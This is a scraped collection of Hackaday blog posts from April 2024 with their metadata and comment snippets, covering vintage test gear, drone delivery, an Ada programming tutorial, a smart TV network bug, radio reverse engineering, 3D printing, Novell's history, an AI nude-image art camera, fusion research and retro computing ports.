With multiple PCBs stacked on top of each other, it’s hard to imagine that more components could possibly be crammed into it. One board in particular appears to be an entire Motorola 6800 computer, something which today would likely be replaced with a single microcontroller.
Which is actually why [D Straney] shared this with us in the first place. After seeing our recent post about a
modern waveform generator that’s basically an empty box
thanks to its modern components, they thought this would be a nice example of the opposite extreme.
So, is it a good or a bad thing that test equipment isn’t made this way anymore? Well, it’s hard to argue with the improved capabilities, smaller footprint, and reduced cost of most modern gear. But damn is the inside of this HP 3314A gorgeous. As one of the commenters on the page put it, hardware from this era was really a work of art. | 13 | 9 | [
{
"comment_id": "6752774",
"author": "Clovis Fritzen",
"timestamp": "2024-04-23T20:05:40",
"content": "Love these teardowns, so informative (even if it is about old tech) you can learn a thing or two about circuit design.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comme... | 1,760,371,938.431933 | ||
https://hackaday.com/2024/04/23/amazon-ends-california-drone-deliveries-while-expanding-to-arizona/ | Amazon Ends California Drone Deliveries While Expanding To Arizona | Maya Posch | [
"drone hacks"
] | [
"Amazon Prime Air"
] | The outgoing MK27 drone used by Amazon today for deliveries. (Credit: Amazon)
When Amazon started its Prime Air drone delivery service in 2022, it had picked College Station (Texas) and Lockeford (California) as its the first areas where the service would be offered. Two years later, Amazon has
now announced
that it will be expanding to the West Valley of the Phoenix Metro area in Arizona from a new Tolleson center, while casually mentioning buried in the press release that the Lockeford area will no longer be serviced. No reason for this closure was provided, but as a quite experimental service drastic shifts can be expected as Amazon figures out what does and does not work.
Amazon Prime Air features custom drones that can
transport packages
up to 5 lbs (~2.27 kg) to its destination within an hour, if the item is listed as Prime Air capable for your area. Along with the change in service areas, Amazon is also testing its new
MK30 drone
(pictured, top), which should be much quieter due to a new propeller design and have twice the range of the old MK27 as well.
Even if flying drone delivery isn’t quite a blow-away success yet, Amazon doesn’t seem to be letting up on investing in it, and it could be argued that for certain items like medication or perishables, it does make a certain sense over traditional delivery and pick-up methods. | 17 | 8 | [
{
"comment_id": "6752748",
"author": "vbet canlı destek",
"timestamp": "2024-04-23T17:55:05",
"content": "t’s interesting to see Amazon adjust their drone delivery strategy, shifting from California to Arizona. Their continuous investment in newer, quieter drones like the MK30 shows a strong commitm... | 1,760,371,938.950024 | ||
https://hackaday.com/2024/04/23/an-elbow-joint-that-can/ | An Elbow Joint That Can | Jenny List | [
"Robots Hacks"
] | [
"cycloidal gearbox",
"elbow joint"
] | We’re not certain whether [Paul Gould]’s
kid’s prosthetic elbow joint
is intended for use by a real kid or is part of a robotics project — but it caught our eye for the way it packs the guts of a beefy-looking motorized joint into such a small space.
At its heart is a cycloidal gearbox, in which the three small shafts which drive the center gear are driven by a toothed belt. The motive power comes from a brushless motor, which is what gives the build that impressive small size. He’s posted
a YouTube short
showing its internals and it doing a small amount of weight lifting, so it evidently has some pulling power.
If you’re interested in working with this design,
it can be downloaded for 3D printing from Thingiverse
. We think it could find an application in plenty of other projects, and we’d be interested to see what people do with it. There’s certainly a comparison to be maid over
robotic joints which use wires for actuation. | 10 | 5 | [
{
"comment_id": "6752727",
"author": "MAC",
"timestamp": "2024-04-23T16:48:47",
"content": "“There’s certainly a comparison to be maid over robotic joints which use wires for actuation.”The comparison that is made depends upon the task performed by the maid!Homophones can be fun!",
"parent_id": ... | 1,760,371,938.291065 | ||
https://hackaday.com/2024/04/23/programming-ada-first-steps-on-the-desktop/ | Programming Ada: First Steps On The Desktop | Maya Posch | [
"Featured",
"Interest",
"Skills",
"Software Development"
] | [
"ada",
"programming",
"software"
] | Who doesn’t want to use a programming language that is designed to be reliable, straightforward to learn and also happens to be certified for everything from avionics to rockets and ICBMs? Despite Ada’s strong roots and impressive legacy, it has the reputation among the average hobbyist of being ‘complicated’ and ‘obscure’, yet this couldn’t be further from the truth,
as previously explained
. In fact, anyone who has some or even no programming experience can learn Ada, as the very premise of Ada is that it removes complexity and ambiguity from programming.
In this first part of a series, we will be looking at getting up and running with a basic desktop development environment on Windows and Linux, and run through some Ada code that gets one familiarized with the syntax and basic principles of the Ada syntax. As for the used Ada version, we will be targeting Ada 2012, as the newer
Ada 2022
standard was only just approved in 2023 and doesn’t change anything significant for our purposes.
Toolchain Things
The go-to Ada toolchain for those who aren’t into shelling out big amounts of money for proprietary, certified and very expensive Ada toolchains is GNAT, which at one point in time stood for the GNU NYU Ada Translator. This was the result of the United States Air Force awarding the New York University (NYU) a contract in 1992 for a free Ada compiler. The result of this was the GNAT toolchain, which per the stipulations in the contract would be licensed under the GNU GPL and its copyright assigned to the Free Software Foundation. The commercially supported (by
AdaCore
) version of GNAT is called GNAT Pro.
Obtaining a copy of GNAT is very easy if you’re on a common Linux distro, with the package
gnat
for
Debian-based
distros and
gcc-ada
if you’re
Arch-based
. For Windows you can either
download
the AdaCore GNAT Community Edition, or if you use
MSYS2
, you can use its package manager to install the
mingw-w64-ucrt-x86_64-gcc-ada
package
for e.g. the new ucrt64
environment
. My personal preference on Windows is the MSYS2 method, as this also provides a Unix-style shell and tools, making cross-platform development that much easier. This is also the environment that will be assumed throughout the article.
Hello Ada
The most important part of any application is its entry point, as this determines where the execution starts. Most languages have some kind of fixed name for this, such as
main
, but in Ada you are free to name the entry point whatever you want, e.g.:
with Ada.Text_IO;
procedure Greet is
begin
-- Print "Hello, World!" to the screen
Ada.Text_IO.Put_Line ("Hello, World!");
end Greet;
Here the entry point is the
Greet
procedure, because it’s the only procedure or function in the code. The difference between a procedure and a function is that only the latter returns a value, while the former returns nothing (similar to
void
in C and C++). Comments start with two dashes, and packages are imported using the
with
statement. In this case we want the
Ada.Text_IO
package, as it contains the standard output routines like
Put_Line
. Note that since Ada is case-insensitive, we can type all of those names in lower-case as well.
Also noticeable might be the avoidance of any symbols where an English word can be used, such as the use of
is
,
begin
and
end
rather than curly brackets. When closing a block with
end
, this is post-fixed with the name of the function or procedure, or the control structure that’s being closed (e.g. an if/else block or loop). This will be expanded upon later in the series. Finally, much like in C and C++ lines end with a semicolon.
For a reference of the syntax and much more, AdaCore has an
online reference
as well as a number of freely downloadable books, which include a comparison with Java and C++. The Ada Language Reference Manual (LRM) is also
freely available
.
Compile And Run
To compile the simple sample code above, we need to get it into a source file, which we’ll call
greet.adb
. The standard extensions with the GNAT toolchain are
.adb
for the implementation (body) and
.ads
for the specification (somewhat like a C++ header file). It’s good practice to use the same file name as the main package or entry point name (unit name) for the file name. It will work if not matched, but you will get a warning depending on the toolchain configuration.
Unlike in C and C++, Ada code isn’t just compiled and linked, but also has an intermediate binding step, because the toolchain fully determines the packages, dependencies, and other elements within the project before assembling the compiled code into a binary.
An important factor here is also that Ada does not work with a preprocessor, and specification files aren’t copied into the file which references them with a
with
statement, but only takes note of the dependency during compilation. A nice benefit of this is that
include
guards are not necessary, and headaches with linking such as link order of objects and libraries are virtually eliminated. This does however come at the cost of dealing with the binder.
Although GNAT comes with individual tools for each of these steps, the
gnatmake
tool allows the developer to handle all of these steps in one go. Although some prefer to use the AdaCore-developed
gprbuild
, we will not be using this as it adds complexity that is rarely helpful. To use
gnatmake
to compile the example code, we use a Makefile which produces the following output:
mkdir -p bin
mkdir -p obj
gnatmake -o bin/hello_world greet.adb -D obj/
gcc -c -o obj\greet.o greet.adb
gnatbind -aOobj -x obj\greet.ali
gnatlink obj\greet.ali -o bin/hello_world.exe
Although we just called
gnatmake
, the compilation, binding and linking steps were all executed subsequently, resulting in our extremely sophisticated Hello World application.
For reference, the Makefile used with the example is the following:
GNATMAKE = gnatmake
MAKEDIR = mkdir -p
RM = rm -f
BIN_OUTPUT := hello_world
ADAFLAGS := -D obj/
SOURCES := greet.adb
all: makedir build
build:
$(GNATMAKE) -o bin/$(BIN_OUTPUT) $(SOURCES) $(ADAFLAGS)
makedir:
$(MAKEDIR) bin
$(MAKEDIR) obj
clean:
rm -rf obj/
rm -rf bin/
.PHONY: test src
Next Steps
Great, so now you have a working development environment for Ada with which you can build and run any code that you write. Naturally, the topic of code editors and IDEs is one can of flamewar that I won’t be cracking open here. As mentioned in my
2019 article
, you can use AdaCore’s
GNAT Programming Studio
(GPS) for an integrated development environment experience, if that is your jam.
My own development environment is a loose constellation of Notepad++ on Windows, and Vim on Windows and elsewhere, with Bash and similar shells the environment for running the Ada toolchain in. If there is enough interest I’d be more than happy to take a look at other development environments as well in upcoming articles, so feel free to sound off in the comments.
For the next article I’ll be taking a more in-depth look at what it takes to write an Ada application that actually does something useful, using the preparatory steps of this article. | 66 | 18 | [
{
"comment_id": "6752672",
"author": "Zoe Nagy",
"timestamp": "2024-04-23T14:08:38",
"content": "Huraay back to Pascal syntax.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6752679",
"author": "Joseph Eoff",
"timestamp": "2024-04-23T14:31:21... | 1,760,371,938.729771 | ||
https://hackaday.com/2024/04/23/your-smart-tv-does-4k-surround-sound-denial-of-service/ | Your Smart TV Does 4K, Surround Sound, Denial-of-service… | Jenny List | [
"home entertainment hacks"
] | [
"network security",
"smart tv",
"software bug"
] | Any reader who has bought a TV in recent years will know that it’s now almost impossible to buy one that’s
just
a TV. Instead they are all “smart” TVs, with an on-board computer running a custom OS with a pile of streaming apps installed. It fits an age in which linear broadcast TV is looking increasingly archaic, but it brings with it a host of new challenges.
Normally you’d expect us to launch into a story of privacy invasion from a TV manufacturer at this point, but instead we’ve got [Priscilla]’s experience,
in which her HiSense Android TV executed a denial of service on the computers on her network
.
The root of the problem appears to be the TV running continuous network discovery attempts using random UUIDs, which when happening every few minutes for a year or more, overloads the key caches on other networked machines. The PC which brought the problem to light was a Windows machine, which leaves us sincerely hoping that our Linux boxen might be immune.
It’s fair to place this story more under the heading of bugs than of malicious intent, but even so it’s something that should never have made it to production. The linked story advises nobody to buy a HiSense TV, but to that we’d have to doubt that other manufactures wouldn’t be similarly affected.
Header: William Hook,
CC-BY-SA 2.0
.
Thanks [Concretedog] for the tip. | 53 | 21 | [
{
"comment_id": "6752631",
"author": "CJay",
"timestamp": "2024-04-23T11:28:38",
"content": "I guess it’s not at all beyond the realms of possibility that the huge numbers of smart TVs running embedded Linux variants could be backdoored and/or hijacked by malicious actors, states etc to spy and laun... | 1,760,371,939.042469 | ||
https://hackaday.com/2024/04/23/reverse-engineering-the-quansheng-hardware/ | Reverse Engineering The Quansheng Hardware | Dan Maloney | [
"Radio Hacks",
"Reverse Engineering"
] | [
"bom",
"collaboration",
"KiCAD",
"lapping",
"nanovna",
"pcb",
"Quansheng",
"reverse engineering",
"uv k5"
] | In the world of cheap amateur radio transceivers, the Quansheng UV-K5 can’t be beaten for hackability. But pretty much every hack we’ve seen so far focuses on the firmware. What about the hardware?
To answer that question, [mentalDetector] enlisted the help of a few compatriots and vivisected a UV-K5 to find out what makes it tick. The result is
a complete hardware description of the radio
, including schematics, PCB design files, and 3D renders. The radio was a malfunctioning unit that was donated by collaborator [Manuel], who desoldered all the components and measured which ones he could to determine specific values. The parts that resisted his investigations got bundled up along with the stripped PCB to [mentalDetector], who used a NanoVNA to characterize them as well as possible. Documentation was up to collaborator [Ludwich], who also made tweaks to the schematic as it developed.
PCB reverse engineering was pretty intense. The front and back of the PCB — rev 1.4, for those playing along at home — were carefully photographed before getting the sandpaper treatment to reveal the inner two layers. The result was a series of high-resolution photos that were aligned to show which traces connected to which components or vias, which led to the finished schematics.
There are still a few unknown components
, The schematic has a few components crossed out, mostly capacitors by the look of it, representing unpopulated pads on the PCB.
Hats off to the team for the work here, which should make hardware hacks on the radio much easier. We’re looking forward to what’ll come from this effort. If you want to check out some of the firmware exploits that have already been accomplished on this radio, check out
the Trojan
Pong
upgrade
, or the possibilities of band expansion. We’ve also seen
a mixed hardware-firmware upgrade
that really shines. | 11 | 6 | [
{
"comment_id": "6752588",
"author": "Reluctant Cannibal",
"timestamp": "2024-04-23T08:17:33",
"content": "Nice work. Presumably somebody’s going to build it to check the reverse emgineering is fault free?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "67527... | 1,760,371,939.168551 | ||
https://hackaday.com/2024/04/22/dual-wavelength-sla-3d-printing-fast-continuous-printing-with-romp-and-rfp-resins/ | Dual-Wavelength SLA 3D Printing: Fast Continuous Printing With ROMP And FRP Resins | Maya Posch | [
"3d Printer hacks",
"Science"
] | [
"photopolymerization",
"sla printing"
] | As widespread as 3D printing with stereolithography (SLA) is in the consumer market, these additive manufacturing (AM) machines are limited to a single UV light source and the polymerization of free-radical polymerization (FRP) resins. The effect is that the object is printed in layers, with each layer adhering not only to the previous layer, but also the transparent (FEP or similar) film at the bottom of the resin vat. The resulting peeling of the layer from the film both necessitates a pause in the printing process, but also puts significant stress on the part being printed. Over the years a few solutions have been developed, with
Sandia National Laboratories’ SWOMP technology
(
PR version
) being among the latest.
Unlike the more common
FRP-based
SLA resins, SWOMP (Selective Dual-Wavelength Olefin Metathesis 3D-Printing) uses ring-opening metathesis polymerization (
ROMP
), which itself has been commercialized since the 1970s, but was not previously used with photopolymerization in this fashion. For the monomer dicyclopentadiene (DCPD) was chosen, with HeatMet (HM) as the photo-active olefin metathesis catalyst. This enables the UV-sensitivity, with an added photobase generator (PBG) which can be used to selectively deactivate polymerization.
General overview of SWOMP chemistry using HM as the catalyst and DCPD as the monomer. (Credit: Jeffrey C. Foster et al., Advanced Science, 2022, Sandia National Laboratories)
The advantage of DCPD is that this material and the resulting objects are significantly robust and are commonly thermally post-cured (250 °C for 30 seconds for the dogbones in this experiment) to gain their full mechanical properties. Meanwhile the same dual-wavelength setup is used for continuous SLA printing as previously covered by e.g. [Martin P. de Beers] and colleagues in a
2019 paper
in
Science Advances
. Not only does the photoinhibitor with FRP and ROMP resins prevent the attachment of polymerized resin onto the transparent film or window, due to the localized control of the photoinhibitation depth dual-wavelength SLA is not limited to single layers, but can print entire topological features in a single pass.
This method might therefore be better than both existing FRP-based mono-wavelength SLA, and the proprietary
CLIP
technology by
Carbon
with its oxygen-permeable membrane, with no peeling and with print speeds of many times that of conventional SLA. Currently Sandia is
looking for partners
to develop and commercialize this technology, raising the hope that such dual-wavelength SLA printers may make it onto the market by manufacturers which do not require a security clearance and/or proof of financial liquidity before you even get to talk to a salesperson. | 10 | 5 | [
{
"comment_id": "6752576",
"author": "Sprite_tm",
"timestamp": "2024-04-23T07:40:16",
"content": "Ring-opening metathesis polymerization… proprietary CLIP technology… photo-active olefin metathesis catalyst… photobase generator… Yes, I know some of these words.",
"parent_id": null,
"depth": ... | 1,760,371,939.516726 | ||
https://hackaday.com/2024/04/22/going-canadian-the-rise-and-fall-of-novell/ | Going Canadian: The Rise And Fall Of Novell | Maya Posch | [
"History"
] | [
"NE2000",
"Novell"
] | During the 1980s and 1990s Novell was one of those names that you could not avoid if you came even somewhat close to computers. Starting with selling computers and printers, they’d switch to producing networking hardware like the famous NE2000 and the inevitability that was Novell Netware software, which would cement its fortunes. It wasn’t until the 1990s that Novell began to face headwinds from a new giant: Microsoft, which along with the rest of the history of Novell is the
topic of a recent article
by [Bradford Morgan White], covering this rise, the competition from Microsoft’s Windows NT and its ultimate demise as it found itself unable to compete in the rapidly changing market around 2000, despite flirting with Linux.
Novell
was founded by two experienced executives in 1980, with the name being reportedly the misspelled French word for ‘new’ (
nouveau
or
nouvelle
). With NetWare having cornered the networking market, there was still a dearth of networking equipment like Ethernet expansion cards. This led Novell to introduce the 8-bit ISA card NE1000 in 1987, later followed by the 16-bit NE2000. Lower priced than competing products, they became a market favorite. Then Windows NT rolled in during the 1990s and began to destroy NetWare’s marketshare, leaving Novell to flounder until it was snapped up by Attachmate in 2011, which was snapped up by Micro Focus International 2014, which got gobbled up by Canada-based
OpenText
in 2023. Here Novell’s technologies got distributed across its divisions, finally ending Novell’s story. | 47 | 22 | [
{
"comment_id": "6752237",
"author": "Bob the builder",
"timestamp": "2024-04-22T11:36:15",
"content": "I miss NetWare. It was so incredibly stable. I remember a story of a classmate that was an intern at a company that lost a NetWare machine. It was running fine, but they couldn’t find the physical... | 1,760,371,939.370054 | ||
https://hackaday.com/2024/04/22/ai-camera-only-takes-nudes/ | AI Camera Only Takes Nudes | Navarre Bartz | [
"Artificial Intelligence",
"digital cameras hacks",
"News"
] | [
"ai",
"AI image generation",
"ai image generator",
"camera",
"Deepfake",
"naked",
"not-a-camera",
"nude",
"privacy",
"stable diffusion"
] | One of the cringier aspects of AI as we know it today has been the proliferation of deepfake technology to make nude photos of anyone you want. What if you took away the abstraction and put the faker and subject in the same space? That’s the question the
NUCA camera was designed to explore
. [via
404 Media
]
[Mathias Vef] and [Benedikt Groß] designed the NUCA camera “with the intention of critiquing the current trajectory of AI image generation.” The camera itself is a fairly unassuming device, a 3D-printed digital camera (19.5 × 6 × 1.5 cm) with a 37 mm lens. When the camera shutter button is pressed, a nude image is generated of the subject.
The final image is generated using a mixture of the picture taken of the subject, pose data, and facial landmarks. The photo is run through a classifier which identifies features such as age, gender, body type, etc. and then uses those to generate a text prompt for
Stable Diffusion
. The original face of the subject is then stitched onto the nude image and aligned with the estimated pose. Many of the sample images on the project’s website show the bias toward certain beauty ideals from AI datasets.
Looking for more ways to use AI with cameras? How about this one that uses
GPS to imagine a scene instead
. Prefer to keep AI out of your endeavors to invade personal space? How about building your own
TSA body scanner
? | 52 | 20 | [
{
"comment_id": "6752190",
"author": "Kalten",
"timestamp": "2024-04-22T08:32:34",
"content": "Umm, I guess it’s an interesting if rather creepy take on exploring the ethics of AI image generation but I really hope they don’t open source the code for this.",
"parent_id": null,
"depth": 1,
... | 1,760,371,939.464366 | ||
https://hackaday.com/2024/04/21/restoring-a-vintage-german-ev/ | Restoring A Vintage German EV | Navarre Bartz | [
"car hacks"
] | [
"CityEL",
"electric vehicle",
"evs",
"LiFePO4",
"lithium iron phosphate",
"PEVs"
] | When you think of EVs from the 90s, GM’s EV1 may come to mind, but [bleeptrack] found a more obscure
CityEL three wheeler to restore
.
This Personal Electric Vehicle (PEV) is no spring chicken, but a new set of LiFePO
4
batteries should give its 48 V electrical system a new lease on life. [bleeptrack] shows us through the cockpit of this jet fighter-esque EV and its simple control systems, including a forward and reverse selector and the appreciable kilometers on the odometer.
Modernizing touches for this vehicle include a smart shunt to track the vehicle charge level as an improvement over the wildly unreliable original system and a new DC to DC converter after the original unit failed. These changes really cleaned up the electronics compartment from the original rat’s nest under the seat.
The design of this vehicle has us thinking of the
Minimal Motoring Manifesto
and how EVs
could make cars simpler
again. | 44 | 12 | [
{
"comment_id": "6752165",
"author": "simon",
"timestamp": "2024-04-22T05:02:38",
"content": "This is actually originally a Danish manufactured and designed car, we called it “Ellert”",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6752450",
"author":... | 1,760,371,939.280791 | ||
https://hackaday.com/2024/04/21/the-muse-permanent-magnet-stellarator-fusion-reactor-with-off-the-shelf-parts/ | The MUSE Permanent Magnet Stellarator: Fusion Reactor With Off-The-Shelf Parts | Maya Posch | [
"Science"
] | [
"stellarator"
] | (a) The 12 permanent magnet holder subsegments. (b) The 16 planar, circular toroidal field coils are positioned inside the water-jet cut support structure. (c) The glass vacuum vessel is joined by 3D-printed low-thickness couplers. Glass ports were hot welded to the torus. (Credit: T.M. Qian et al., 2023)
When you think of a fusion reactor like a tokamak or stellarator, you are likely to think of expensive projects requiring expensive electromagnets made out of exotic alloys, whether superconducting or not. The MUSE stellarator is an interesting study in how to take things completely in the opposite direction. Its design and construction is described in a 2023 paper by [T.M. Qian] and colleagues in the
Journal of Plasma Physics
. The theory is detailed in a
2020
Physical Review Letters
paper
by [P. Helander] and colleagues. As the head of the Stellarator Theory at the Max Planck Institute, [P. Helander] is well-acquainted with the world’s most advanced stellarator:
Wendelstein 7-X
.
As noted in the paper by [P. Helander] et al., the use of permanent magnets can substantially simplify the magnetic-field coils of a stellarator, which are then primarily used for the toroidal magnetic flux. This simplification is reflected in the design of MUSE, as it only has a limited number of identical toroidal field coils, with the vacuum vessel surrounded by 3D printed structures that have permanent magnets embedded in them. These magnets follow a pattern that helps to shape the plasma inside the vacuum vessel, while not requiring a power supply or (at least theoretically) cooling.
Naturally, as noted by [P. Helander] et al, a limitation of permanent magnets is their limited field strength, inability to be tuned, and demagnetization at high temperatures. This may limit the number of practical applications of this approach, but researchers at Princeton Plasma Physics Laboratory (PPPL) recently announced
in a self-congratulatory article
that they will ‘soon’ commence actual plasma experiments with MUSE. The lack of (cooled) divertors will of course limit the experiments that MUSE can be used for. | 24 | 11 | [
{
"comment_id": "6752150",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2024-04-22T02:13:36",
"content": "Miniaturized further it could be used as a ski boot heater!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6752160",
"author": "Asop... | 1,760,371,939.638928 | ||
https://hackaday.com/2024/04/21/hackaday-links-april-21-2024/ | Hackaday Links: April 21, 2024 | Dan Maloney | [
"Hackaday Columns",
"Hackaday links",
"Slider"
] | [
"ai",
"atlas",
"boston dynamics",
"current transformer",
"drone",
"enhance!",
"evidence",
"hackaday links",
"Heaviside",
"humanoid",
"iss",
"legal",
"machine learning",
"nasa",
"power-line",
"space junk",
"telegraphers equation"
] | Do humanoid robots dream of electric retirement? Who knows, but maybe we can ask Boston Dynamics’ Atlas HD, which was
officially retired this week
. The humanoid robot, notable for its
warehouse Parkour
and
sweet dance moves
, never went into production, at least not as far as we know. Atlas always seemed like it was intended to be an R&D platform, to see what was possible for a humanoid robot, and in that way it had a heck of a career. But it’s probably a good thing that fleets of Atlas robots aren’t wandering around shop floors or serving drinks, especially given the number of
hydraulic blowouts
the robot suffered. That also seems to be one of the lessons Boston Dynamics learned, since
Atlas’ younger, nimbler replacement
is said to be all-electric. From the thumbnail, the new kid already seems pretty scarred and battered, so here’s hoping we get to see some all-electric robot fails soon.
“Enhance… enhance… no, wait — un-enhance.” A Washington state judge has ruled that
AI-enhanced video can’t be used as evidence
in a murder trial, a ruling that’s certain to raise legal eyebrows. King County Superior Court Judge Leroy McCullogh issued the first-in-the-nation ruling in the case of a man accused of shooting three people outside a Seattle bar in 2021. The defendant’s lawyers tried to submit into evidence cell phone video that had been processed through a machine learning system, in an apparent attempt to make visible details they say are exculpatory. The choice of company to perform the enhancement may have been a mistake, though, since they market themselves mainly to film studios looking to “supercharge” their productions. The prosection objected to the evidence on the grounds that the AI only predicted missing information in the video, rather than enhancing and clarifying existing details in the images. Given the tendency for chat bots to hallucinate, we’d tend to agree with the prosecution, but then again, our future doesn’t ride on a shakey, blurry cell phone video. It was probably even in vertical format.
It’s official — Florida man Alejandro Otero won the cosmic lottery last month as
NASA confirms the object that crashed through his roof in March was indeed from the ISS
. Granted, there wasn’t much left of the 2,360 kg battery pack by the time it hit the Otero residence in the Gulf Coast town of Naples — just a 0.7-kg metal cylinder. NASA had expected the entire nickel hydride pack, tossed overboard in March of 2021 in favor of lithium batteries, would burn up upon reentry. That ended up being optimistic, and perhaps foreseeable since the surviving fragment was made from inconel, an alloy specifically used in applications involving high temperatures — perhaps not reentry hot, but still. It seems like Otero just wants to get NASA to pay for the repairs to his house, but honestly, if something like that crashes through our roof, we’re just going to fix it ourselves and shut up so we can keep the thing.
A couple of months back we featured a video that showed a drone that had been specially modified to not only fly near high-tension power lines, but to
latch onto them and recharge its batteries (last item)
. It gave us the willies then for some reason, but now that
the full research paper
that covers the development of the drone is available — nah, it still creeps us out. It’s an impressive bit of kit, to be sure, about which the paper goes into great detail. We speculated about the power transfer method when the video dropped, and it turns out that there is indeed a split-core current transformer that wraps around the cable when the gripper closes. The paper also has a photo of a clamp meter around a conductor (Figure 11) that shows 288 amperes flowing through the cable while the drone is docked, which creeps us out even more since someone had to get uncomfortably close to that cable to get that shot.
We’re just going to leave
this video of a gearless right-angle drive
here. You’re welcome.
And finally, if you’ve never heard of Oliver Heaviside — and
you really should have
— you’ll want to watch
this video on the story of the “Telegrapher’s Equation.”
Aside from having an awesome name and looking like a Victorian version of Wolverine, Heaviside was absolutely brilliant, to the point of understanding Maxwell’s equations enough to simplify them and use them to explain the skin effect mathematically. He also invented coaxial cable as well as the loading coils that still adorn telephone poles to this day. The video is a deep dive into why
the first transatlantic telegraph cables
were so terrible, and how Fourier, Lord Kelvin, and the study of thermodynamics informed Heaviside’s explanations of how to improve them. Good stuff. | 12 | 6 | [
{
"comment_id": "6752131",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2024-04-21T23:33:18",
"content": "Ancestor of Hugh Jackman?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6752151",
"author": "Ostracus",
"timestamp": ... | 1,760,371,939.691492 | ||
https://hackaday.com/2024/04/21/keeping-alive-the-future-of-cars-1980s-style/ | Keeping Alive The Future Of Cars, 1980s Style | Jenny List | [
"Repair Hacks",
"Transportation Hacks"
] | [
"crt",
"digital dash",
"Oldsmobile"
] | Here at Hackaday we’re a varied bunch of writers, some of whom have careers away from this organ, and others whose work also appears on the pages of other publications in different fields. One such is our colleague [Lewin Day], and he’s written a cracking piece for
The Autopian
about
the effort to keep an obscure piece of American automotive electronic history alive
. We think of big-screen control panels in cars as a new phenomenon, but General Motors was fitting tiny Sony Trinitron CRTs to some models back in the late 1980s. If you own one of these cars the chances are the CRT is inoperable if you’ve not encountered [Jon Morlan] and his work repairing and restoring them.
Lewin’s piece goes into enough technical detail that we won’t simply rehash it here, but it’s interesting to contrast the approach of painstaking repair with that of replacement or emulation. It would be a relatively straightforward project to replace the CRT with a modern LCD displaying the same video, and even to use a modern single board computer to emulate much of a dead system. But we understand completely that to many motor enthusiasts that’s not the point, indeed it’s the very fact it has a
frickin’ CRT
in the dash that makes the car.We’ll probably never drive a 1989 Oldsmobile Toronado. But we sure want to if it’s got that particular version of the future fitted.
Lewin’s automotive writing is worth watching out for. He once brought us to a motorcycle chariot. | 18 | 9 | [
{
"comment_id": "6752092",
"author": "Joshua",
"timestamp": "2024-04-21T21:01:49",
"content": "The great thing about vintage tech is its independence. It’s not being bound to the internet, cell phone towers or any satellite technology.",
"parent_id": null,
"depth": 1,
"replies": [
... | 1,760,371,939.570921 | ||
https://hackaday.com/2024/04/21/manual-supports-for-3d-printing/ | Manual Supports For 3D Printing | Al Williams | [
"3d Printer hacks"
] | [
"3D printed supports",
"3d printing"
] | [MakerSpace] wanted to 3D print an RFID card holder. On one side is a slot for a card and on the other side has recesses for the RFID antenna. They used these to control access to machines and were milling them out using a CNC machine. Since there were no flat surfaces, he had to turn on supports in the slicer, right? No. He does use supports, but not in the way
you might imagine
.
Inspired by creating cast iron using sand casting, he decided to first 3D print a reusable “core” using PETG. This core will support future prints that use PLA. When printing the actual item, the printer lays down the first few layers and pauses. This allows you to stick the core in and resume the print. After the print completes, you can remove the core, and the results look great, as you can see in the video below.
While the PLA doesn’t stick well to the PETG, it can stick a little, but using a glue coating as a release agent solved that problem. This is one of those ideas that once you see it, it seems obvious, but it probably isn’t something you’ve thought about doing until you see it at least once.
There are a few other tricks in the video. For example, the core is a little larger than necessary, so there is a tab that sticks out. This makes it easy to tape down to the bed and also helps when you try to remove it from the PLA print. The results are great, and it makes us want to revisit our abandoned badge holder project from years ago.
Some people
never print flat
. Others do
very specific support structures at key points
. It seems there’s always multiple ways to print the seemingly unprintable. | 14 | 9 | [
{
"comment_id": "6752070",
"author": "Eckehard Fiedler",
"timestamp": "2024-04-21T18:13:40",
"content": "Printing it in 2 parts and gluing together could also do the trick",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6752200",
"author": "helge",
... | 1,760,371,939.740566 | ||
https://hackaday.com/2024/04/21/radio-frequency-burns-flying-a-kite-and-you/ | Radio Frequency Burns, Flying A Kite, And You | Lewin Day | [
"Radio Hacks"
] | [
"am",
"am radio",
"antenna",
"kite",
"radio frequency",
"rf burns"
] | Most hams can tell you that it’s possible to get a nasty RF burn if you accidentally touch an antenna while it’s transmitting. However, you can also cop a nasty surprise on the receiving end if you’re not careful, as explained in a video
from [Grants Pass TV Repair].
It’s hard to see in a still image, but the RF burns from the kite antenna actually generate a little puff of smoke on contact.
An experiment was used to demonstrate this fact involving a kite and a local AM broadcaster. A simple calculation revealed that an antenna 368 feet and 6 inches long would be resonant with the KAJO Radio signal at 1.270 MHz. At half the signal’s wavelength, an antenna that long would capture plenty of energy from the nearby broadcast antenna.
Enter the kite, which served as a skyhook to loft an antenna that long. With the wire in the air picking up a strong signal from the AM radio tower, it was possible to get a noticable RF burn simply by touching the end of the antenna.
The video explains that this is a risky experiment, but not only because of the risk of RF burn itself. It’s also easy to accidentally get a kite tangled in power lines, or to see it struck by lightning, both of which would create far greater injuries than the mild RF burn seen in the video. In any case, even if you know what you’re doing, you have to be careful when you’re going out of your way to do something dangerous in the first place.
AM radio towers aren’t to be messed with;
they’ve got big power flowing.
Video after the break. | 22 | 7 | [
{
"comment_id": "6752046",
"author": "sohere",
"timestamp": "2024-04-21T16:01:52",
"content": "Make a hot-dog talk using an AM broadcast station – another one from Geerling Engineering:https://www.youtube.com/watch?v=GgDxXDV4_hc",
"parent_id": null,
"depth": 1,
"replies": []
},
{
... | 1,760,371,939.805798 | ||
https://hackaday.com/2024/04/21/from-z80-to-ez80-porting-8-bit-sonic-2-to-the-ti-84-ce/ | From Z80 To EZ80: Porting 8-bit Sonic 2 To The TI-84+ CE | Maya Posch | [
"Games"
] | [
"Sega Master System",
"ti-84"
] | An unwritten rule is that if two systems runs even roughly the same CPU, you are obligated to port software between them, or at least give it a fair shake. This led [grubbycoder] down the path of
porting Sonic 2
for the Sega Master System (to the eZ80-based Ti 84+ CE. Selecting this particular graphing calculator came down to the raw specs matching up the best, as although the eZ80 in the Ti 84+ runs at 48 MHz, it’s got wait states that cripple its actual performance. Since the calculator also lacks the Video Display Processor (VDP) and a few other bits of hardware, those extra cycles are crucial to compensate.
Sonic 2 on the Ti 84+ CE, courtesy of [grubbycoder]
